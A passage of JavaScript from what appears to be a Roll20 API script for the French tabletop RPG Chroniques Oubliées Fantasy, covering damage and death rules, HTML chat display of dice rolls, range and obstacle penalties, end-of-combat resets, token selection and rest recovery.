charId, name: 'PM' }); var hasMana = false; if (manaAttr.length > 0) { var manaMax = parseInt(manaAttr[0].get('max')); hasMana = !isNaN(manaMax) && manaMax > 0; } var tempDmg = 0; if (hasMana) { tempDmg = attributeAsInt(target, 'DMTEMP', 0); } else { tempDmg = parseInt(token.get("bar2_value")); if (isNaN(tempDmg)) { if (options.tempDmg) { //then try to set bar2 correctly var link = token.get("bar1_link"); if (link === "") { token.set("bar2_max", pvmax); } else { var tmpHitAttr = findObjs({ _type: "attribute", _characterid: charId, name: "DMTEMP" }); var dmTemp; if (tmpHitAttr.length === 0) { dmTemp = createObj("attribute", { characterid: charId, name: "DMTEMP", current: 0, max: pvmax }); } else { dmTemp = tmpHitAttr[0]; } token.set("bar2_max", pvmax); token.set("bar2_link", dmTemp.id); } } tempDmg = 0; } } if (options.tempDmg) { var oldTempDmg = tempDmg; tempDmg += dmgTotal; if (tempDmg > pvmax) tempDmg = pvmax; if (hasMana) { setTokenAttr(target, 'DMTEMP', tempDmg, evt); } else { evt.affectes.push({ affecte: token, prev: { bar2_value: oldTempDmg } }); updateCurrentBar(token, 2, tempDmg); } } else { evt.affectes.push({ affecte: token, prev: { bar1_value: bar1 } }); if (bar1 > 0 && bar1 <= dmgTotal && charAttributeAsBool(charId, 'instinctDeSurvieHumain')) { dmgTotal = dmgTotal / 2; if (dmgTotal < 1) dmgTotal = 1; dmgDisplay += "/2"; showTotal = true; expliquer("L'instinct de survie aide à réduire une attaque fatale"); } bar1 = bar1 - dmgTotal; if (bar1 <= 0) { if (charAttributeAsBool(charId, 'sergent') && !attributeAsBool(target, 'sergentUtilise')) { expliquer(token.get('name') + " évite l'attaque in-extremis"); setTokenAttr(target, 'sergentUtilise', true, evt); } else { updateCurrentBar(token, 1, 0); if (charAttributeAsBool(charId, 'baroudHonneur')) { expliquer(token.get('name') + " devrait être mort, mais il continue à se battre !"); setTokenAttr(target, 'baroudHonneurActif', true, evt); } else { var defierLaMort = charAttributeAsInt(charId, 'defierLaMort', 0); if (defierLaMort > 0) { save({ carac: 'CON', seuil: defierLaMort }, target, expliquer, { msgPour: " pour défier la mort", msgReussite: ", conserve 1 PV" }, evt, function(reussite, rollText) { if (reussite) { updateCurrentBar(token, 1, 1); bar1 = 1; setTokenAttr(target, 'defierLaMort', defierLaMort + 10, evt); } else mort(target, evt); if (bar1 > 0 && tempDmg >= bar1) { //assomé setState(target, 'assome', true, evt); } if (showTotal) dmgDisplay += " = " + dmgTotal; if (displayRes === undefined) return dmgDisplay; displayRes(dmgDisplay, dmgTotal); }); if (displayRes === undefined) return dmgDisplay; return; } else mort(target, evt); } } } else { // bar1>0 updateCurrentBar(token, 1, bar1); } } if (bar1 > 0 && tempDmg >= bar1) { //assomé setState(target, 'assome', true, evt); } if (showTotal) dmgDisplay += " = " + dmgTotal; } if (displayRes === undefined) return dmgDisplay; displayRes(dmgDisplay, dmgTotal); }); return dmgDisplay; } function improve_image(image_url) { image_url = image_url.replace('/med.png', '/thumb.png'); image_url = image_url.substring(0, image_url.indexOf('?')); return image_url; } function startFramedDisplay(playerId, action, perso1, perso2, toSelf) { var player = getObj('player', playerId); if (player === undefined) { error("Joueur inconnu", playerId); return; } var playerBGColor = player.get("color"); var playerTXColor = (getBrightness(playerBGColor) < 50) ? "#FFF" : "#000"; var res = '/direct '; if (toSelf) res = '/w "' + player.get('displayname') + '" '; res += '<div style="-webkit-box-shadow: 2px 2px 5px 0px rgba(0,0,0,0.75); -moz-box-shadow: 2px 2px 5px 0px rgba(0,0,0,0.75); box-shadow: 2px 2px 5px 0px rgba(0,0,0,0.75); border: 1px solid #000; border-radius: 6px; -moz-border-radius: 6px; -webkit-border-radius: 6px; overflow: hidden;">' + '<div style="overflow:auto; text-align: center; vertical-align: middle; padding: 5px 5px; border-bottom: 1px solid #000; color: ' + playerTXColor + '; background-color: ' + playerBGColor + ';" title=""> ' + '<table>'; var name1 = ''; var avatar1 = ''; if (perso1) { if (perso1.tokName) name1 = perso1.tokName; else name1 = perso1.token.get('name'); name1 = '<b>' + name1 + '</b>'; var character1 = getObj('character', perso1.charId); if (character1) avatar1 = '<img src="' + improve_image(character1.get('avatar')) + '" style="width: ' + (perso2 ? 50 : 100) + '%; display: block; max-width: 100%; height: auto; border-radius: 6px; margin: 0 auto;">'; } if (perso2) { var name2 = perso2.tokName; if (name2 === undefined) name2 = perso2.token.get('name'); name2 = '<b>' + name2 + '</b>'; var avatar2 = ''; var character2 = getObj('character', perso2.charId); if (character2 !== undefined) { avatar2 = '<img src="' + improve_image(character2.get('avatar')) + '" style="width: 50%; display: block; max-width: 100%; height: auto; border-radius: 6px; margin: 0 auto;">'; } res += '<tr style="text-align: center">' + '<td style="width:45%; vertical-align: middle;">' + name1 + '</td>' + '<td style="width:10%; vertical-align: middle;" rowspan="2">' + 'VS' + '</td>' + '<td style="width:45%; vertical-align: middle;">' + name2 + '</td>' + '</tr>' + '<tr style="text-align: center">' + '<td style="width:45%; vertical-align: middle;">' + avatar1 + '</td>' + '<td style="width:45%; vertical-align: middle;">' + avatar2 + '</td>' + '</tr>'; } else { res += '<tr style="text-align: left">' + '<td style="width:25%; vertical-align: middle;">' + avatar1 + '</td>' + '<td style="width:75%; vertical-align: middle;">' + name1 + '</td>' + '</tr>'; } res += '</table>' + '</div>' + '<div style="font-size: 85%; text-align: left; vertical-align: middle; padding: 5px 5px; border-bottom: 1px solid #000; color: #a94442; background-color: #f2dede;" title=""> ' + action + '</div>' + '<div style="background-color: #FFF;">'; return { output: res, isOdd: true, isfirst: true, }; } function addLineToFramedDisplay(display, line, size, new_line) { size = size || 100; new_line = (new_line !== undefined) ? new_line : true; var background_color, border, separator = ''; if (!new_line) display.isOdd = !display.isOdd; if (display.isOdd) { background_color = "transparent"; display.isOdd = false; } else { background_color = "#f3f3f3"; display.isOdd = true; } if (size < 100) background_color = "#fcf8e3"; if (!display.isfirst) { if (new_line) border = "border-top: 1px solid #333;"; } else display.isfirst = false; var formatedLine = '<div style="padding: 0 5px 0; background-color: ' + background_color + '; color: #000;' + border + '">'; if (!new_line) separator = "border-top: 1px solid #ddd;"; formatedLine += '<div style="padding: 4px 0; font-size: ' + size + '%;' + separator + '">' + line + '</div>'; formatedLine += '</div>'; display.output += formatedLine; } function endFramedDisplay(display) { var res = display.output; res += '</div>'; res += '</div>'; return res; } function buildinline(inlineroll, dmgType, magique) { var InlineBorderRadius = 5; var InlineColorOverride = ""; var values = []; var critRoll = false; var failRoll = false; var critCheck = false; var failCheck = false; var highRoll = false; var lowRoll = false; var noHighlight = false; inlineroll.results.rolls.forEach(function(roll) { var result = processRoll(roll, critRoll, failRoll, highRoll, lowRoll, noHighlight); if (result.value.toString().indexOf("critsuccess") != -1) critCheck = true; if (result.value.toString().indexOf("critfail") != -1) failCheck = true; values.push(result.value); critRoll = result.critRoll; failRoll = result.failRoll; highRoll = result.highRoll; lowRoll = result.lowRoll; noHighlight = result.noHighlight; }); // Overrides the default coloring of the inline rolls... switch (dmgType) { case 'normal': case 'maladie': if (magique) InlineColorOverride = ' background-color: #FFFFFF; color: #534200;'; else InlineColorOverride = ' background-color: #F1E6DA; color: #000;'; break; case 'feu': InlineColorOverride = ' background-color: #FF3011; color: #440000;'; break; case 'froid': InlineColorOverride = ' background-color: #77FFFF; color: #004444;'; break; case 'acide': InlineColorOverride = ' background-color: #80BF40; color: #020401;'; break; case 'sonique': InlineColorOverride = ' background-color: #E6CCFF; color: #001144;'; break; case 'electrique': InlineColorOverride = ' background-color: #FFFF80; color: #222200;'; break; case 'poison': InlineColorOverride = ' background-color: #558000; color: #DDAFFF;'; break; default: if (critCheck && failCheck) { InlineColorOverride = ' background-color: #8FA4D4; color: #061539;'; } else if (critCheck && !failCheck) { InlineColorOverride = ' background-color: #88CC88; color: #004400;'; } else if (!critCheck && failCheck) { InlineColorOverride = ' background-color: #FFAAAA; color: #660000;'; } else { InlineColorOverride = ' background-color: #FFFEA2; color: #000;'; } } var rollOut = '<span style="display: inline-block; border-radius: ' + InlineBorderRadius + 'px; padding: 0 4px; ' + InlineColorOverride + '" title="' + inlineroll.expression + ' = ' + values.join(""); rollOut += '" class="a inlinerollresult showtip tipsy-n'; rollOut += (critCheck && failCheck) ? ' importantroll' : (critCheck ? ' fullcrit' : (failCheck ? ' fullfail' : '')); rollOut += '">' + inlineroll.results.total + '</span>'; return rollOut; } function processRoll(roll, critRoll, failRoll, highRoll, lowRoll, noHighlight) { switch (roll.type) { case 'C': return { value: " " + roll.text + " " }; case 'L': if (roll.text.indexOf("HR") != -1) highRoll = parseInt(roll.text.substring(2)); else highRoll = false; if (roll.text.indexOf("LR") != -1) lowRoll = parseInt(roll.text.substring(2)); else lowRoll = false; if (roll.text.indexOf("NH") != -1) { // Blocks highlight on an individual roll... noHighlight = true; } // Remove inline tags to reduce clutter... roll.text = roll.text.replace(/HR(\d+)/g, ""); roll.text = roll.text.replace(/LR(\d+)/g, ""); roll.text = roll.text.replace(/NH/g, ""); if (roll.text !== "") roll.text = " [" + roll.text + "] "; return { value: roll.text, highRoll: highRoll, lowRoll: lowRoll, noHighlight: noHighlight }; case 'M': roll.expr = roll.expr.toString().replace(/\+/g, " + "); return { value: roll.expr }; case 'R': var rollValues = []; roll.results.forEach(function(result) { if (result.tableItem !== undefined) { rollValues.push(result.tableItem.name); } else { // Turn off highlighting if true... if (noHighlight) { critRoll = false; failRoll = false; } else { if (_.has(roll, 'mods') && _.has(roll.mods, 'customCrit')) { switch (roll.mods.customCrit[0].comp) { case '=': case '==': critRoll = (result.v == roll.mods.customCrit[0].point); break; case '>=': case '=>': case '>': critRoll = (result.v >= roll.mods.customCrit[0].point); break; default: critRoll = (highRoll !== false && result.v >= highRoll || result.v === roll.sides); } } else { critRoll = (highRoll !== false && result.v >= highRoll || result.v === roll.sides); } failRoll = (!critRoll && (lowRoll !== false && result.v <= lowRoll || result.v === 1)); } var rv = "<span class='basicdiceroll" + (critRoll ? ' critsuccess' : (failRoll ? ' critfail' : '')) + "'>" + result.v + "</span>"; rollValues.push(rv); } }); var separator = ' + '; if (roll.mods && roll.mods.keep) separator = ' , '; return { value: "(" + rollValues.join(separator) + ")", critRoll: critRoll, failRoll: failRoll, highRoll: highRoll, lowRoll: lowRoll, noHighlight: noHighlight }; case 'G': var grollVal = []; roll.rolls.forEach(function(groll) { groll.forEach(function(groll2) { var result = processRoll(groll2, highRoll, lowRoll, noHighlight); grollVal.push(result.value); critRoll = critRoll || result.critRoll; failRoll = failRoll || result.failRoll; highRoll = highRoll || result.highRoll; lowRoll = lowRoll || result.lowRoll; noHighlight = noHighlight || result.noHighlight; }); }); return { value: "{" + grollVal.join(" ") + "}", critRoll: critRoll, failRoll: failRoll, highRoll: highRoll, lowRoll: lowRoll, noHighlight: noHighlight }; } } function getBrightness(hex) { hex = hex.replace('#', ''); var c_r = hexDec(hex.substr(0, 2)); var c_g = hexDec(hex.substr(2, 2)); var c_b = hexDec(hex.substr(4, 2)); return ((c_r * 299) + (c_g * 587) + (c_b * 114)) / 1000; } function hexDec(hex_string) { hex_string = (hex_string + '').replace(/[^a-f0-9]/gi, ''); return parseInt(hex_string, 16); } function addOrigin(name, toEvaluate) { return toEvaluate.replace(/@{/g, "@{" + name + "|"); } function getPortee(charId, weaponPrefix) { var res = getAttrByName(charId, weaponPrefix + "armeportee"); if (res === undefined) return 0; res = parseInt(res); if (isNaN(res) || res <= 0) return 0; return res; } function tokenCenter(tok) { return [tok.get('left'), tok.get('top')]; } // Retourne le diamètre d'un disque inscrit dans un carré de surface // équivalente à celle du token function tokenSizeAsCircle(token) { var surface = token.get('width') * token.get('height'); return Math.sqrt(surface); } // if token is bigger than thresh reduce the distance by that size function tokenSize(tok, thresh) { var size = (tok.get('width') + tok.get('height')) / 2; if (size > thresh) return ((size - thresh) / 2); return 0; } //strict1 = true si on considère que tok1 doit avoir une taille nulle function distanceCombat(tok1, tok2, pageId, strict1, strict2) { if (pageId === undefined) { pageId = tok1.get('pageid'); } var PIX_PER_UNIT = 70; var page = getObj("page", pageId); var scale = page.get('scale_number'); var pt1 = tokenCenter(tok1); var pt2 = tokenCenter(tok2); var distance_pix = VecMath.length(VecMath.vec(pt1, pt2)); if (!strict1) distance_pix -= tokenSize(tok1, PIX_PER_UNIT); if (!strict2) distance_pix -= tokenSize(tok2, PIX_PER_UNIT); if ((!strict1 || !strict2) && distance_pix < PIX_PER_UNIT * 1.5) return 0; //cases voisines return ((distance_pix / PIX_PER_UNIT) * scale); } function malusDistance(perso1, tok2, distance, portee, pageId, explications, ignoreObstacles) { if (distance === 0) return 0; var tok1 = perso1.token; var mPortee = (distance <= portee) ? 0 : (Math.ceil(5 * (distance - portee) / portee)); if (mPortee > 0) { explications.push("Distance > " + portee + " m => -" + mPortee + " en Attaque"); } if (ignoreObstacles || charAttributeAsBool(perso1.charId, 'joliCoup')) return mPortee; // Now determine if any token is between tok1 and tok2 var allToks = findObjs({ _type: "graphic", _pageid: pageId, _subtype: "token", layer: "objects" }); var mObstacle = 0; var PIX_PER_UNIT = 70; var pt1 = tokenCenter(tok1); var pt2 = tokenCenter(tok2); var distance_pix = VecMath.length(VecMath.vec(pt1, pt2)); var liste_obstacles = []; allToks.forEach(function(obj) { if (obj.id == tok1.id || obj.id == tok2.id) return; var objCharId = obj.get('represents'); var perso = { token: obj, charId: objCharId }; if (objCharId !== '' && (getState(perso, 'mort') || getState(perso, 'assome') || getState(perso, 'endormi') || attributeAsBool(perso, 'intangible'))) return; var pt = tokenCenter(obj); var obj_dist = VecMath.length(VecMath.vec(pt1, pt)); if (obj_dist > distance_pix) return; obj_dist = VecMath.length(VecMath.vec(pt2, pt)); if (obj_dist > distance_pix) return; var distToTrajectory = VecMath.ptSegDist(pt, pt1, pt2); // On modélise le token comme un disque var rayonObj = tokenSizeAsCircle(obj) / 2; if (distToTrajectory > rayonObj) return; liste_obstacles.push(obj.get("name")); // On calcule un malus proportionnel à l'arc à traverser // Pour l'instant, malus = 1 si distance = PIX_PER_UNIT var longueurArc = 2 * Math.sqrt(rayonObj * rayonObj - distToTrajectory * distToTrajectory); var mToken = longueurArc / PIX_PER_UNIT; //malus plus important si l'obstacle est au contact de la cible if (distanceCombat(tok2, obj, pageId) === 0) mToken *= 5; else mToken *= 3; mObstacle += mToken; }); // On ajuste aussi en fonction de la taille de la cible mObstacle = mObstacle / (tokenSizeAsCircle(tok2) / PIX_PER_UNIT); if (mObstacle > 5) mObstacle = 5; else mObstacle = Math.round(mObstacle); var res = mPortee + mObstacle; if (mObstacle > 0) { log("Obstacle" + ((mObstacle > 1) ? "s" : "") + " trouvé : " + liste_obstacles.join(', ')); explications.push('Obstacle' + ((mObstacle > 1) ? 's' : '') + ' sur le trajet => -' + mObstacle + ' en Attaque<br /><span style="font-size: 0.8em; color: #666;">' + liste_obstacles.join(', ') + '</span>'); } return res; } // Returns all attributes in attrs, with name name or starting with name_ function allAttributesNamed(attrs, name) { var nameExt = name + '_'; return attrs.filter(function(obj) { var attrName = obj.get('name'); return (name == attrName || attrName.startsWith(nameExt)); }); } function removeAllAttributes(name, evt, attrs) { if (attrs === undefined) { attrs = findObjs({ _type: 'attribute' }); } var attrsNamed = allAttributesNamed(attrs, name); if (attrsNamed.length === 0) return attrs; if (evt.deletedAttributes === undefined) evt.deletedAttributes = []; attrsNamed.forEach(function(attr) { evt.deletedAttributes.push(attr); attr.remove(); }); attrs.filter(function(attr) { var ind = attrsNamed.findIndex(function(nattr) { return nattr.id == attr.id; }); return (ind == -1); }); return attrs; } //Met tous les attributs avec le nom au max function resetAttr(attrs, attrName, evt, msg) { allAttributesNamed(attrs, attrName).forEach(function(att) { var vm = parseInt(att.get("max")); if (!isNaN(vm)) { var vc = parseInt(att.get("current")); if (vc != vm) { evt.attributes.push({ attribute: att, current: vc }); att.set("current", vm); if (msg) { var charId = att.get('characterid'); var character = getObj('character', charId); var name = character.get('name'); sendChar(charId, "/w " + name + " " + msg); } } } }); } function sortirDuCombat() { if (!state.COFantasy.combat) { log("Pas en combat"); return; } sendChat("GM", "Le combat est terminé"); var evt = { type: 'fin_combat', initiativepage: Campaign().get('initiativepage'), turnorder: Campaign().get('turnorder'), attributes: [], combat: true, tour: state.COFantasy.tour, init: state.COFantasy.init, deletedAttributes: [] }; state.COFantasy.combat = false; setActiveToken(undefined, evt); Campaign().set('initiativepage', false); var attrs = findObjs({ _type: 'attribute' }); // Fin des effets qui durent pour le combat attrs = removeAllAttributes('soinsDeGroupe', evt, attrs); attrs = removeAllAttributes('sergentUtilise', evt, attrs); attrs = removeAllAttributes('enflamme', evt, attrs); attrs = removeAllAttributes('protegerUnAllie', evt, attrs); attrs = removeAllAttributes('protegePar', evt, attrs); attrs = removeAllAttributes('intercepter', evt, attrs); attrs = removeAllAttributes('defenseTotale', evt, attrs); attrs = removeAllAttributes('dureeStrangulation', evt, attrs); attrs = removeAllAttributes('defautDansLaCuirasse', evt, attrs); attrs = removeAllAttributes('postureDeCombat', evt, attrs); attrs = removeAllAttributes('dedouble', evt, attrs); attrs = removeAllAttributes('limiteParCombat', evt, attrs); // Autres attributs // Remettre le pacifisme au max resetAttr(attrs, 'pacifisme', evt, "retrouve son pacifisme"); // Remettre le traquenard à 1 resetAttr(attrs, 'traquenard', evt); // Tout le monde recharge ses armes après un combat, non ? resetAttr(attrs, 'charge', evt, "recharge ses armes"); // Et on récupère les munitions récupérables resetAttr(attrs, 'munition', evt, "récupère ses munitions"); // Remettre défier la mort à 10 resetAttr(attrs, 'defierLaMort', evt); // Recharger les runes d'énergie resetAttr(attrs, 'runeDEnergie', evt); // Remettre l'esquive fatale à 1 resetAttr(attrs, 'esquiveFatale', evt); // Remettre frappe du vide à 1 resetAttr(attrs, 'frappeDuVide', evt); //Effet de ignorerLaDouleur var ilds = allAttributesNamed(attrs, 'ignorerLaDouleur'); ilds.forEach(function(ild) { var douleur = parseInt(ild.get('current')); if (isNaN(douleur)) { error("La douleur ignorée n'est pas un nombre", douleur); return; } var charId = ild.get('characterid'); if (charId === undefined || charId === '') { error("Attribut sans personnage", ild); return; } var ildName = ild.get('name'); if (ildName == 'ignorerLaDouleur') { var pvAttr = findObjs({ _type: 'attribute', _characterid: charId, name: 'PV' }); if (pvAttr.length === 0) { error("Personnage sans PV ", charId); return; } pvAttr = pvAttr[0]; var pv = parseInt(pvAttr.get('current')); if (isNaN(pv)) { error("PV mal formés ", pvAttr); return; } evt.attributes.push({ attribute: pvAttr, current: pv }); var newPv = pv - douleur; if (newPv < 0) newPv = 0; pvAttr.set('current', newPv); if (pv > 0 && newPv === 0) { sendChar(charId, "s'écroule. Il semble sans vie. La douleur qu'il avait ignorée l'a finalement rattrapé..."); } else { var tempDmg = charAttributeAsInt(charId, 'DMTEMP', 0); if (pv > tempDmg && newPv <= tempDmg) { sendChar(charId, "s'écroule, assomé. La douleur qu'il avait ignorée l'a finalement rattrapé..."); } else { sendChar(charId, "subit le contrecoup de la douleur qu'il avait ignorée"); } } } else { // ignorer la douleur d'un token var tokName = ildName.substring(ildName.indexOf('_') + 1); var tokensIld = findObjs({ _type: 'graphic', _subtype: 'token', represents: charId, name: tokName }); if (tokensIld.length === 0) { error("Pas de token nommé " + tokName + " qui aurait ignoré la douleur", ild); return; } if (tokensIld.length > 1) { sendChar(charId, "a plusieurs tokens nommés " + tokName + ". Un seul d'entre eux subira l'effet d'ignorer la douleur"); } var tokPv = parseInt(tokensIld[0].get('bar1_value')); var tokNewPv = tokPv - douleur; if (tokNewPv < 0) tokNewPv = 0; evt.affectes.push({ affecte: tokensIld[0], prev: { bar1_value: tokPv } }); updateCurrentBar(tokensIld[0], 1, tokNewPv); //TODO: faire mourrir, assomer } }); // end forEach on all attributes ignorerLaDouleur ilds.forEach(function(ild) { evt.deletedAttributes.push(ild); ild.remove(); }); // fin des effets temporaires (durée en tours, ou durée = combat) attrs.forEach(function(obj) { var attrName = obj.get('name'); var charId = obj.get('characterid'); if (estEffetTemp(attrName)) { finDEffet(obj, effetTempOfAttribute(obj), attrName, charId, evt); } else if (estEffetCombat(attrName)) { sendChar(charId, messageEffetCombat[effetCombatOfAttribute(obj)].fin); evt.deletedAttributes.push(obj); obj.remove(); } }); addEvent(evt); } function tokensNamed(names, pageId) { var tokens = findObjs({ _type: 'graphic', _subtype: 'token', _pageid: pageId, layer: 'objects' }); tokens = tokens.filter(function(obj) { var tokCharId = obj.get('represents'); if (tokCharId === undefined) return false; var tokChar = getObj('character', tokCharId); if (tokChar === undefined) return false; var i = names.indexOf(tokChar.get('name')); return (i >= 0); }); return tokens; } function getPageId(msg) { var pageId; if (playerIsGM(msg.playerid)) { var player = getObj('player', msg.playerid); pageId = player.get('lastpage'); } if (pageId === undefined || pageId === "") { var pages = Campaign().get('playerspecificpages'); if (pages && pages[msg.playerid] !== undefined) { return pages[msg.playerid]; } return Campaign().get('playerpageid'); } return pageId; } // actif est un argument optionnel qui représente (token+charId) de l'unique token sélectionné function getSelected(msg, callback, actif) { var pageId = getPageId(msg); var args = msg.content.split(' --'); var selected = []; var enleveAuxSelected = []; var count = args.length - 1; var called; var finalCall = function() { called = true; var res = selected.filter(function(sel) { var interdit = enleveAuxSelected.find(function(i) { return (i._id == sel._id); }); return (interdit === undefined); }); callback(res); }; if (args.length > 1) { args.shift(); args.forEach(function(cmd) { count--; var cmdSplit = cmd.split(' '); switch (cmdSplit[0]) { case 'equipe': var nomEquipe = 'Equipe' + cmd.substring(cmd.indexOf(' ')); var equipes = findObjs({ _type: 'handout', name: nomEquipe }); if (equipes.length === 0) { error(nomEquipe + " inconnue", msg.content); return; } if (equipes.length > 1) { error("Plus d'une " + nomEquipe, cmd); } count += equipes.length; equipes.forEach(function(equipe) { equipe.get('notes', function(note) { //asynchrone var names = note.split('<br>'); var tokens = tokensNamed(names, pageId); if (tokens.length === 0) { error("Pas de token de l'" + nomEquipe + " sur la page"); } tokens.forEach(function(tok) { selected.push({ _id: tok.id }); }); count--; if (count === 0) finalCall(); return; }); }); return; case 'allies': case 'saufAllies': var selection = selected; if (cmdSplit[0] == 'saufAllies') selection = enleveAuxSelected; var activeNames = []; // First get the acting token (in msg.selected) if (actif) { activeNames = [getObj('character', actif.charId).get('name')]; } else { if (msg.selected === undefined || msg.selected.length === 0) { error("Pas d'allié car pas de token sélectionné", msg); return; } iterSelected(msg.selected, function(personnage) { var character = getObj('character', personnage.charId); activeNames.push(character.get('name')); }); } var toutesEquipes = findObjs({ _type: 'handout' }); toutesEquipes = toutesEquipes.filter(function(obj) { return (obj.get('name').startsWith("Equipe ")); }); count += toutesEquipes.length; toutesEquipes.forEach(function(equipe) { equipe.get('notes', function(note) { //asynchrone count--; var names = note.split('<br>'); var allie = names.some(function(n) { return (activeNames.indexOf(n) >= 0); }); if (allie) { //On enlève le token actif, mais seulement pour allies if (cmdSplit[0] == 'allies') { names = names.filter(function(n) { return (activeNames.indexOf(n) < 0); }); } var tokens = tokensNamed(names, pageId); tokens.forEach(function(tok) { selection.push({ _id: tok.id }); }); } if (count === 0) finalCall(); return; }); }); //end toutesEquipes.forEach return; case 'self': if (actif) { selected.push({ _id: actif.token.id }); return; } if (msg.selected === undefined) return; msg.selected.forEach(function(obj) { var inSelf = selected.findIndex(function(o) { return (o._id == obj._id); }); if (inSelf < 0) selected.push(obj); }); return; case 'target': if (cmdSplit.length < 2) { error("Il manque l'id de la cible (après --target)", cmd); return; } selected.push({ _id: cmdSplit[1] }); return; case 'disque': if (cmdSplit.length < 3) { error("Pas assez d'argument pour définir un disque", cmdSplit); return; } var centre = tokenOfId(cmdSplit[1], cmdSplit[1], pageId); if (centre === undefined) { error("le premier argument du disque n'est pas un token valide", cmdSplit); return; } var rayon = parseInt(cmdSplit[2]); if (isNaN(rayon) || rayon < 0) { error("Rayon du disque mal défini", cmdSplit); return; } var portee; if (cmdSplit.length > 3) { portee = parseInt(cmdSplit[3]); if (isNaN(portee) || portee < 0) { error("La portée du disque est mal formée", cmdSplit); return; } if (actif === undefined) { if (msg.selected === undefined || msg.selected.length != 1) { error("Pas de token sélectionné pour calculer la distance du disque", msg); return; } actif = tokenOfId(msg.selected[0]._id, msg.selected[0]._id, pageId); } if (distanceCombat(centre.token, actif.token, pageId, true) > portee) { sendChar(actif.charId, "Le centre de l'effet est placé trop loin (portée " + portee + ")"); return; } } var allToksDisque = findObjs({ _type: "graphic", _pageid: pageId, _subtype: "token", layer: "objects" }); allToksDisque.forEach(function(obj) { if (portee === 0 && obj.id == actif.token.id) return; //on ne se cible pas si le centre de l'aoe est soi-même var objCharId = obj.get('represents'); if (objCharId === '') return; if (getState({ token: obj, charId: objCharId }, 'mort')) return; //pas d'effet aux morts if (obj.get('bar1_max') == 0) return; // jshint ignore:line var objChar = getObj('character', objCharId); if (objChar === undefined) return; var distanceCentre = distanceCombat(centre.token, obj, pageId, true); if (distanceCentre > rayon) return; selected.push({ _id: obj.id }); }); if (centre.token.get('bar1_max') == 0) { // jshint ignore:line //C'est juste un token utilisé pour définir le disque centre.token.remove(); //On l'enlève, normalement plus besoin centre = undefined; } return; default: } }); } if (count === 0) { if (selected.length === 0) { if (_.has(msg, 'selected')) { if (!called) { var res = msg.selected.filter(function(sel) { var interdit = enleveAuxSelected.find(function(i) { return (i._id == sel._id); }); return (interdit === undefined); }); callback(res); } return; } if (!called) callback([]); return; } if (!called) finalCall(); return; } } function pointsDeRecuperation(charId) { // retourne les nombre de PR restant var pr = 5; var x; for (var i = 1; i < 6; i++) { x = getAttrByName(charId, "PR" + i); if (x == 1) pr--; } return pr; } function enleverPointDeRecuperation(charId) { for (var i = 1; i < 6; i++) { var prAttr = findObjs({ _type: 'attribute', _characterid: charId, name: "PR" + i }); if (prAttr.length === 0) { prAttr = createObj("attribute", { characterid: charId, name: "PR" + i, current: 1, max: 1 }); return { attribute: prAttr, current: null }; } else if (prAttr[0].get('current') == 0) { // jshint ignore:line prAttr[0].set("current", 1); return { attribute: prAttr[0], current: 0 }; } } sendChat("COF", "Plus de point de récupération à enlever"); } function rajouterPointDeRecuperation(charId) { for (var i = 1; i < 6; i++) { var prAttr = findObjs({ _type: "attribute", _characterid: charId, name: "PR" + i }); if (prAttr.length > 0 && prAttr[0].get("current") == 1) { prAttr[0].set("current", 0); return { attribute: prAttr[0], current: 1 }; } } log("Pas de point de récupération à récupérer pour " + charId); } // Récupération pour tous les tokens sélectionnés function nuit(msg) { if (state.COFantasy.combat) sortirDuCombat(); getSelected(msg, function(selection) { if (selection.length === 0) { var pageId = getPageId(msg); var tokens = findObjs({ _type: 'graphic', _subtype: 'token', layer: 'objects', _pageid: pageId }); tokens.forEach(function(tok) { if (tok.get('represents') === '') return; selection.push({ _id: tok.id }); }); } recuperation(selection, "nuit"); }); } // Remise à zéro de toutes les limites journalières function jour(evt) { var attrs; attrs = removeAllAttributes('pressionMortelle', evt); attrs = removeAllAttributes('soinsLegers', evt, attrs); attrs = removeAllAttributes('soinsModeres', evt, attrs); attrs = removeAllAttributes('fortifie', evt, attrs); attrs = removeAllAttributes('limiteParJour', evt, attrs); attrs = removeAllAttributes('tueurFantasmagorique', evt, attrs); attrs = removeAllAttributes('elixirsACreer', evt, attrs); attrs = removeAllAttributes('elixir', evt, attrs); //On pourrait diviser par 2 le nombre de baies //var attrsBaie = allAttributesNamed(attrs, 'dose_baie_magique'); } function recuperer(msg) { if (state.COFantasy.combat) { sendPlayer(msg, "impossible de se reposer en combat"); return; } getSelected(msg, function(selection) { if (selection.length === 0) { sendPlayer(msg, "!cof-recuperer sans sélection de tokens"); log("!cof-recuperer requiert des tokens sélectionnés"); return; } recuperation(selection, "recuperer"); }); } function recuperation(selection, option) { if (option != "nuit" && option != "recuperer") { log("Wrong option " + option + " for recuperation"); return; } var evt = { type: "Récuperation", affectes: [], attributes: [] }; if (option == 'nuit') jour(evt); iterSelected(selection, function(perso) { if (getState(perso, 'mort')) return; var token = perso.token; var charId = perso.charId; var character = getObj("character", charId); var characterName = character.get("name"); var pr = pointsDeRecuperation(charId); var bar2 = parseInt(token.get("bar2_value")); var tokEvt = { affecte: token, prev: {} }; var manaAttr = findObjs({ _type: 'attribute', _characterid: charId, name: 'PM' }); var hasMana = false; var dmTemp = bar2; if (manaAttr.length > 0) { // Récupération des points de mana var manaMax = parseInt(manaAttr[0].get('max')); hasMana = !isNaN(manaMax) && manaMax > 0; if (hasMana) { dmTemp = attributeAsInt(perso, 'DMTEMP', 0); if (option == 'nuit' && (isNaN(bar2) || bar2 < manaMax)) { tokEvt.prev.bar2_value = bar2; updateCurrentBar(token, 2, manaMax); } } } if (!isNaN(dmTemp) && dmTemp > 0) { // récupération de DM temp if (option == "nuit") dmTemp = 0; else dmTemp = Math.max(0, dmTemp - 10); if (hasMana) { setTokenAttr(perso, 'DMTEMP', dmTemp, evt); } else { tokEvt.prev.bar2_value = bar2; updateCurrentBar(token, 2, dmTemp); } } var dVie = charAttributeAsInt(charId, "DV", 0); if (dVie < 4) { if (tokEvt.prev != {}) evt.affectes.push(tokEvt); return; //Si pas de dé de vie, alors pas de PR. } var message; if (option == "nuit" && pr < 5) { // on récupère un PR var affAttr = rajouterPointDeRecuperation(charId); if (affAttr === undefined) { error("Pas de point de récupérartion à rajouter et pourtant pas au max", token); return; } evt.attributes.push(affAttr); evt.affectes.push(tokEvt); message = "Au cours de la nuit, les points de récupération de " + characterName + " passent de " + pr + " à " + (pr + 1); sendChat("", message); return; } var bar1 = parseInt(token.get("bar1_value")); var pvmax = parseInt(token.get("bar1_max")); if (isNaN(bar1) || isNaN(pvmax)) return; if (bar1 >= pvmax) { if (option == "recuperer") { sendChat("", characterName + " n'a pas besoin de repos"); } return; } if (option == "recuperer") { if (pr === 0) { //pas possible de récupérer message = characterName + " a besoin 